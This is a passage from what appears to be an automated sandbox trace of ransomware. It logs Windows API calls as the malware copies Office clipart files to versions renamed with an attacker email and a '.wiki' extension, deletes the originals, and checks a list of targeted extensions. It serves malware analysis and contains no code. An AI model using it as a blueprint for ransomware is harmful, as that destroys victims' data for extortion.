office\\clipart\\pub60cor\\j0107446.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0195.233] GetLastError () returned 0x0 [0195.233] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x7680, lpOverlapped=0x0) returned 1 [0195.235] WriteFile (in: hFile=0x1f8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x7690, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x7690, lpOverlapped=0x0) returned 1 [0195.236] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0195.237] WriteFile (in: hFile=0x1f8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.237] SetEndOfFile (hFile=0x1f8) returned 1 [0195.237] CloseHandle (hObject=0x1f8) returned 1 [0195.237] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.237] SetEndOfFile (hFile=0x220) returned 1 [0195.238] CloseHandle (hObject=0x220) returned 1 [0195.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.238] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf")) returned 1 [0195.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0195.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0195.238] lstrlenW (lpString=".doc") returned 4 [0195.238] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.238] lstrlenW (lpString=".docx") returned 5 [0195.238] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0195.238] lstrlenW (lpString=".pdf") returned 4 [0195.238] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.238] lstrlenW (lpString=".xls") returned 4 [0195.238] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.238] lstrlenW (lpString=".xlsx") returned 5 [0195.238] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0195.238] lstrlenW (lpString=".ppt") returned 4 [0195.238] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0195.239] lstrlenW (lpString=".zip") returned 4 [0195.239] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.239] lstrlenW (lpString=".rar") returned 4 [0195.239] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.239] lstrlenW (lpString=".bz2") returned 4 [0195.239] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.239] lstrlenW (lpString=".7z") returned 3 [0195.239] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0195.239] lstrlenW (lpString=".dbf") returned 4 [0195.239] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0195.239] lstrlenW (lpString=".1cd") returned 4 [0195.239] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0195.239] lstrlenW (lpString=".jpg") returned 4 [0195.239] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0195.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0195.239] lstrlenW (lpString=".doc") returned 4 [0195.239] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.239] lstrlenW (lpString=".docx") returned 5 [0195.239] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0195.239] lstrlenW (lpString=".pdf") returned 4 [0195.239] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.239] lstrlenW (lpString=".xls") returned 4 [0195.239] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.239] lstrlenW (lpString=".xlsx") returned 5 [0195.239] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0195.239] lstrlenW (lpString=".ppt") returned 4 [0195.239] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0195.240] lstrlenW (lpString=".zip") returned 4 [0195.240] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.240] lstrlenW (lpString=".rar") returned 4 [0195.240] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.240] lstrlenW (lpString=".bz2") returned 4 [0195.240] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.240] lstrlenW (lpString=".7z") returned 3 [0195.240] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0195.240] lstrlenW (lpString=".dbf") returned 4 [0195.240] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0195.240] lstrlenW (lpString=".1cd") returned 4 [0195.240] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0195.240] lstrlenW (lpString=".jpg") returned 4 [0195.240] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.240] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.240] lstrlenW (lpString="J0107450.WMF") returned 12 [0195.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0195.241] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=4920) returned 1 [0195.241] CloseHandle (hObject=0x220) returned 1 [0195.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf")) returned 0x20 [0195.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0195.241] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.241] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0195.242] GetLastError () returned 0x0 [0195.242] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x1338, lpOverlapped=0x0) returned 1 [0195.246] WriteFile (in: hFile=0x1f8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1340, lpOverlapped=0x0) returned 1 [0195.247] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0195.247] WriteFile (in: hFile=0x1f8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.247] SetEndOfFile (hFile=0x1f8) returned 1 [0195.247] CloseHandle (hObject=0x1f8) returned 1 [0195.247] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.247] SetEndOfFile (hFile=0x220) returned 1 [0195.248] CloseHandle (hObject=0x220) returned 1 [0195.248] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.248] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf")) returned 1 [0195.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0195.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0195.248] lstrlenW (lpString=".doc") returned 4 [0195.248] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.248] lstrlenW (lpString=".docx") returned 5 [0195.248] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0195.248] lstrlenW (lpString=".pdf") returned 4 [0195.248] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.248] lstrlenW (lpString=".xls") returned 4 [0195.248] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.248] lstrlenW (lpString=".xlsx") returned 5 [0195.248] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0195.248] lstrlenW (lpString=".ppt") returned 4 [0195.248] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0195.248] lstrlenW (lpString=".zip") returned 4 [0195.249] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.249] lstrlenW (lpString=".rar") returned 4 [0195.249] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.249] lstrlenW (lpString=".bz2") returned 4 [0195.249] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.249] lstrlenW (lpString=".7z") returned 3 [0195.249] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0195.249] lstrlenW (lpString=".dbf") returned 4 [0195.249] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0195.249] lstrlenW (lpString=".1cd") returned 4 [0195.249] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0195.249] lstrlenW (lpString=".jpg") returned 4 [0195.249] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0195.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0195.249] lstrlenW (lpString=".doc") returned 4 [0195.249] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.249] lstrlenW (lpString=".docx") returned 5 [0195.249] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0195.249] lstrlenW (lpString=".pdf") returned 4 [0195.249] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.249] lstrlenW (lpString=".xls") returned 4 [0195.249] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.249] lstrlenW (lpString=".xlsx") returned 5 [0195.249] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0195.249] lstrlenW (lpString=".ppt") returned 4 [0195.249] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0195.249] lstrlenW (lpString=".zip") returned 4 [0195.250] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.250] lstrlenW (lpString=".rar") returned 4 [0195.250] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.250] lstrlenW (lpString=".bz2") returned 4 [0195.250] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.250] lstrlenW (lpString=".7z") returned 3 [0195.250] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0195.250] lstrlenW (lpString=".dbf") returned 4 [0195.250] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0195.250] lstrlenW (lpString=".1cd") returned 4 [0195.250] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0195.250] lstrlenW (lpString=".jpg") returned 4 [0195.250] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.250] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.250] lstrlenW (lpString="J0107452.WMF") returned 12 [0195.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0195.251] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=21216) returned 1 [0195.251] CloseHandle (hObject=0x220) returned 1 [0195.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf")) returned 0x20 [0195.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0195.251] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.251] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0195.251] GetLastError () returned 0x0 [0195.251] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x52e0, lpOverlapped=0x0) returned 1 [0195.253] WriteFile (in: hFile=0x1f8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x52f0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x52f0, lpOverlapped=0x0) returned 1 [0195.254] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0195.254] WriteFile (in: hFile=0x1f8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.255] SetEndOfFile (hFile=0x1f8) returned 1 [0195.255] CloseHandle (hObject=0x1f8) returned 1 [0195.255] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.255] SetEndOfFile (hFile=0x220) returned 1 [0195.256] CloseHandle (hObject=0x220) returned 1 [0195.256] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.256] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf")) returned 1 [0195.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0195.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0195.256] lstrlenW (lpString=".doc") returned 4 [0195.256] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.256] lstrlenW (lpString=".docx") returned 5 [0195.256] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0195.256] lstrlenW (lpString=".pdf") returned 4 [0195.256] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.256] lstrlenW (lpString=".xls") returned 4 [0195.256] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.256] lstrlenW (lpString=".xlsx") returned 5 [0195.256] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0195.256] lstrlenW (lpString=".ppt") returned 4 [0195.256] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0195.256] lstrlenW (lpString=".zip") returned 4 [0195.257] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.257] lstrlenW (lpString=".rar") returned 4 [0195.257] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.257] lstrlenW (lpString=".bz2") returned 4 [0195.257] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.257] lstrlenW (lpString=".7z") returned 3 [0195.257] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0195.257] lstrlenW (lpString=".dbf") returned 4 [0195.257] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0195.257] lstrlenW (lpString=".1cd") returned 4 [0195.257] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0195.257] lstrlenW (lpString=".jpg") returned 4 [0195.257] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0195.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0195.257] lstrlenW (lpString=".doc") returned 4 [0195.257] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.257] lstrlenW (lpString=".docx") returned 5 [0195.257] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0195.257] lstrlenW (lpString=".pdf") returned 4 [0195.257] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.257] lstrlenW (lpString=".xls") returned 4 [0195.257] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.257] lstrlenW (lpString=".xlsx") returned 5 [0195.257] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0195.257] lstrlenW (lpString=".ppt") returned 4 [0195.257] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0195.257] lstrlenW (lpString=".zip") returned 4 [0195.258] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.258] lstrlenW (lpString=".rar") returned 4 [0195.258] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.258] lstrlenW (lpString=".bz2") returned 4 [0195.258] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.258] lstrlenW (lpString=".7z") returned 3 [0195.258] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0195.258] lstrlenW (lpString=".dbf") returned 4 [0195.258] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0195.258] lstrlenW (lpString=".1cd") returned 4 [0195.258] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0195.258] lstrlenW (lpString=".jpg") returned 4 [0195.258] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.258] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.258] lstrlenW (lpString="J0107456.WMF") returned 12 [0195.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0195.259] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=3724) returned 1 [0195.259] CloseHandle (hObject=0x220) returned 1 [0195.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf")) returned 0x20 [0195.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0195.259] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.259] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0195.259] GetLastError () returned 0x0 [0195.259] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0xe8c, lpOverlapped=0x0) returned 1 [0195.261] WriteFile (in: hFile=0x1f8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, 